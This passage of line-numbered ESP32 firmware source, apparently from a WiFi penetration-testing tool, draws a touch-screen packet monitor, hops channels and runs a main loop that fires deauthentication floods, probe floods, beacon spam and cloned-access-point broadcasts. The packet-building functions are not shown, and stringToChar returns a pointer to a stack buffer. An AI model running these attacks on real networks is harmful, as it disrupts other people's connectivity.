  2003. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2004. //y_pos_y_old = y_pos_y;
  2005. //y_pos_z_old = y_pos_z;
  2006. //delay(50);
  2007. }
  2008. sd_obj.main();
  2009. }
  2010. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2011. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2012. display_obj.tftDrawChannelScaleButtons(set_channel);
  2013. display_obj.tftDrawExitScaleButtons();
  2014. display_obj.tftDrawEapolColorKey();
  2015. display_obj.tftDrawGraphObjects(x_scale);
  2016. }
  2017. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2018. {
  2019. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2020. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2021. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2022. {
  2023. currentTime = millis();
  2024. do_break = false;
  2025. y_pos_x = 0;
  2026. y_pos_y = 0;
  2027. y_pos_z = 0;
  2028. boolean pressed = false;
  2029. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2030. // Do the touch stuff
  2031. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2032. if (pressed) {
  2033. Serial.print("Got touch | X: ");
  2034. Serial.print(t_x);
  2035. Serial.print(" Y: ");
  2036. Serial.println(t_y);
  2037. }
  2038. // Check buttons for presses
  2039. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2040. {
  2041. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2042. {
  2043. display_obj.key[b].press(true);
  2044. } else {
  2045. display_obj.key[b].press(false);
  2046. }
  2047. }
  2048. // Which buttons pressed
  2049. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2050. {
  2051. if (display_obj.key[b].justPressed())
  2052. {
  2053. Serial.println("Bro, key pressed");
  2054. //do_break = true;
  2055. }
  2056. if (display_obj.key[b].justReleased())
  2057. {
  2058. do_break = true;
  2059. // X - button pressed
  2060. if (b == 0) {
  2061. if (x_scale > 1) {
  2062. x_scale--;
  2063. delay(70);
  2064. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2065. display_obj.tftDrawXScaleButtons(x_scale);
  2066. display_obj.tftDrawYScaleButtons(y_scale);
  2067. display_obj.tftDrawChannelScaleButtons(set_channel);
  2068. display_obj.tftDrawExitScaleButtons();
  2069. break;
  2070. }
  2071. }
  2072. // X + button pressed
  2073. else if (b == 1) {
  2074. if (x_scale < 6) {
  2075. x_scale++;
  2076. delay(70);
  2077. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2078. display_obj.tftDrawXScaleButtons(x_scale);
  2079. display_obj.tftDrawYScaleButtons(y_scale);
  2080. display_obj.tftDrawChannelScaleButtons(set_channel);
  2081. display_obj.tftDrawExitScaleButtons();
  2082. break;
  2083. }
  2084. }
  2085. // Y - button pressed
  2086. else if (b == 2) {
  2087. if (y_scale > 1) {
  2088. y_scale--;
  2089. delay(70);
  2090. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2091. display_obj.tftDrawXScaleButtons(x_scale);
  2092. display_obj.tftDrawYScaleButtons(y_scale);
  2093. display_obj.tftDrawChannelScaleButtons(set_channel);
  2094. display_obj.tftDrawExitScaleButtons();
  2095. //updateMidway();
  2096. break;
  2097. }
  2098. }
  2099. // Y + button pressed
  2100. else if (b == 3) {
  2101. if (y_scale < 9) {
  2102. y_scale++;
  2103. delay(70);
  2104. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2105. display_obj.tftDrawXScaleButtons(x_scale);
  2106. display_obj.tftDrawYScaleButtons(y_scale);
  2107. display_obj.tftDrawChannelScaleButtons(set_channel);
  2108. display_obj.tftDrawExitScaleButtons();
  2109. //updateMidway();
  2110. break;
  2111. }
  2112. }
  2113. // Channel - button pressed
  2114. else if (b == 4) {
  2115. if (set_channel > 1) {
  2116. Serial.println("Shit channel down");
  2117. set_channel--;
  2118. delay(70);
  2119. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2120. display_obj.tftDrawXScaleButtons(x_scale);
  2121. display_obj.tftDrawYScaleButtons(y_scale);
  2122. display_obj.tftDrawChannelScaleButtons(set_channel);
  2123. display_obj.tftDrawExitScaleButtons();
  2124. changeChannel();
  2125. break;
  2126. }
  2127. }
  2128. // Channel + button pressed
  2129. else if (b == 5) {
  2130. if (set_channel < MAX_CHANNEL) {
  2131. Serial.println("Shit channel up");
  2132. set_channel++;
  2133. delay(70);
  2134. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2135. display_obj.tftDrawXScaleButtons(x_scale);
  2136. display_obj.tftDrawYScaleButtons(y_scale);
  2137. display_obj.tftDrawChannelScaleButtons(set_channel);
  2138. display_obj.tftDrawExitScaleButtons();
  2139. changeChannel();
  2140. break;
  2141. }
  2142. }
  2143. else if (b == 6) {
  2144. Serial.println("Exiting packet monitor...");
  2145. this->StartScan(WIFI_SCAN_OFF);
  2146. //display_obj.tft.init();
  2147. this->orient_display = true;
  2148. return;
  2149. }
  2150. }
  2151. }
  2152. if (currentTime - initTime >= GRAPH_REFRESH) {
  2153. //Serial.println("-----------------------------------------");
  2154. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2155. x_pos += x_scale;
  2156. initTime = millis();
  2157. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2158. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2159. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2160. //Serial.println("num_beacon: " + (String)num_beacon);
  2161. //Serial.println("num_deauth: " + (String)num_deauth);
  2162. //Serial.println(" num_probe: " + (String)num_probe);
  2163. num_beacon = 0;
  2164. num_probe = 0;
  2165. num_deauth = 0;
  2166. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2167. //Plot "X" value
  2168. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2169. //Plot "Z" value
  2170. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2171. //Plot "Y" value
  2172. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2173. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2174. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2175. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2176. {
  2177. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2178. }
  2179. else
  2180. {
  2181. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2182. }
  2183. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2184. //if (x_pos <= 90)
  2185. if (x_pos < 0) // below x axis
  2186. {
  2187. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2188. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2189. }
  2190. else
  2191. {
  2192. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2193. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2194. }
  2195. //tftDisplayTime();
  2196. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2197. {
  2198. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2199. }
  2200. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2201. y_pos_y_old = y_pos_y;
  2202. y_pos_z_old = y_pos_z;
  2203. //delay(50);
  2204. }
  2205. sd_obj.main();
  2206. }
  2207. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2208. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2209. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2210. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2211. display_obj.tftDrawYScaleButtons(y_scale);
  2212. display_obj.tftDrawChannelScaleButtons(set_channel);
  2213. display_obj.tftDrawExitScaleButtons();
  2214. display_obj.tftDrawColorKey();
  2215. display_obj.tftDrawGraphObjects(x_scale);
  2216. }
  2217. #endif
  2218. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2219. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2220. // showMetadata(snifferPacket, type);
  2221. //}
  2222. void WiFiScan::changeChannel()
  2223. {
  2224. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2225. delay(1);
  2226. }
  2227. // Function to cycle to the next channel
  2228. void WiFiScan::channelHop()
  2229. {
  2230. this->set_channel = this->set_channel + 1;
  2231. if (this->set_channel > 13) {
  2232. this->set_channel = 1;
  2233. }
  2234. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2235. delay(1);
  2236. }
  2237. char* WiFiScan::stringToChar(String string) {
  2238. char buf[string.length() + 1] = {};
  2239. string.toCharArray(buf, string.length() + 1);
  2240. return buf;
  2241. }
  2242. // Function for updating scan status
  2243. void WiFiScan::main(uint32_t currentTime)
  2244. {
  2245. // WiFi operations
  2246. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2247. (currentScanMode == WIFI_SCAN_AP) ||
  2248. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2249. (currentScanMode == WIFI_SCAN_PWN) ||
  2250. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2251. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2252. (currentScanMode == WIFI_SCAN_ALL))
  2253. {
  2254. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2255. {
  2256. initTime = millis();
  2257. channelHop();
  2258. }
  2259. }
  2260. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2261. {
  2262. #ifdef HAS_SCREEN
  2263. packetMonitorMain(currentTime);
  2264. #endif
  2265. }
  2266. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2267. {
  2268. #ifdef HAS_SCREEN
  2269. eapolMonitorMain(currentTime);
  2270. #endif
  2271. }
  2272. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2273. for (int i = 0; i < 55; i++)
  2274. this->sendProbeAttack(currentTime);
  2275. if (currentTime - initTime >= 1000) {
  2276. initTime = millis();
  2277. String displayString = "";
  2278. String displayString2 = "";
  2279. displayString.concat(text18);
  2280. displayString.concat(packets_sent);
  2281. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2282. displayString2.concat(" ");
  2283. #ifdef HAS_SCREEN
  2284. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2285. display_obj.showCenterText(displayString2, 160);
  2286. display_obj.showCenterText(displayString, 160);
  2287. #endif
  2288. packets_sent = 0;
  2289. }
  2290. }
  2291. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2292. for (int i = 0; i < 55; i++)
  2293. this->sendDeauthAttack(currentTime);
  2294. if (currentTime - initTime >= 1000) {
  2295. initTime = millis();
  2296. String displayString = "";
  2297. String displayString2 = "";
  2298. displayString.concat(text18);
  2299. displayString.concat(packets_sent);
  2300. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2301. displayString2.concat(" ");
  2302. #ifdef HAS_SCREEN
  2303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2304. display_obj.showCenterText(displayString2, 160);
  2305. display_obj.showCenterText(displayString, 160);
  2306. #endif
  2307. packets_sent = 0;
  2308. }
  2309. }
  2310. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2311. // Need this for loop because getTouch causes ~10ms delay
  2312. // which makes beacon spam less effective
  2313. for (int i = 0; i < access_points->size(); i++) {
  2314. if (access_points->get(i).selected)
  2315. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2316. random(256),
  2317. random(256),
  2318. random(256),
  2319. random(256),
  2320. random(256)}});
  2321. }
  2322. if (currentTime - initTime >= 1000)
  2323. {
  2324. initTime = millis();
  2325. //Serial.print("packets/sec: ");
  2326. //Serial.println(packets_sent);
  2327. String displayString = "";
  2328. String displayString2 = "";
  2329. displayString.concat(text18);
  2330. displayString.concat(packets_sent);
  2331. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2332. displayString2.concat(" ");
  2333. #ifdef HAS_SCREEN
  2334. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2335. display_obj.showCenterText(displayString2, 160);
  2336. display_obj.showCenterText(displayString, 160);
  2337. #endif
  2338. packets_sent = 0;
  2339. }
  2340. }
  2341. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2342. {
  2343. // Need this for loop because getTouch causes ~10ms delay
  2344. // which makes beacon spam less effective
  2345. for (int i = 0; i < 55; i++)
  2346. broadcastRandomSSID(currentTime);
  2347. if (currentTime - initTime >= 1000)
  2348. {
  2349. initTime = millis();
  2350. //Serial.print("packets/sec: ");
  2351. //Serial.println(packets_sent);
  2352. String displayString = "";
  2353. String displayString2 = "";
  2354. displayString.concat(text18);
  2355. displayString.concat(packets_sent);
  2356. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2357. displayString2.concat(" ");
  2358. #ifdef HAS_SCREEN
  2359. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2360. display_obj.showCenterText(displayString2, 160);
  2361. display_obj.showCenterText(displayString, 160);
  2362. #endif
  2363. packets_sent = 0;
  2364. }
  2365. }
  2366. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2367. for (int i = 0; i < ssids->size(); i++)
  2368. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2369. if (currentTime - initTime >= 1000)
  2370. {
  2371. initTime = millis();
  2372. packets_sent = 0;
  2373. }
  2374. }
  2375. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2376. for (int i = 0; i < access_points->size(); i++)
  2377. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2378. if (currentTime - initTime >= 1000) {
  2379. initTime = millis();
  2380. packets_sent = 0;
  2381. }
  2382. }
  2383. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2384. {
  2385. // Need this for loop because getTouch causes ~10ms delay
  2386. // which makes beacon spam less effective
  2387. for (int i = 0; i < 7; i++)
  2388. {
  2389. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2390. {
  2391. broadcastSetSSID(currentTime, rick_roll[x]);
  2392. }
  2393. }
  2394. if (currentTime - initTime >= 1000)
  2395. {
  2396. initTime = millis();
  2397. //Serial.print("packets/sec: ");
  2398. //Serial.println(packets_sent);
  2399. String displayString = "";
  2400. String displayString2 = "";
  2401. displayString.concat(text18);
  2402. displayString.concat(packets_sent);
  2403. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2404. displayString2.concat(" ");
  2405. #ifdef HAS_SCREEN
  2406. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2407. display_obj.showCenterText(displayString2, 160);
  2408. display_obj.showCenterText(displayString, 160);
  2409. #endif
  2410. packets_sent = 0;
  2411. }
  2412. }
  2413. }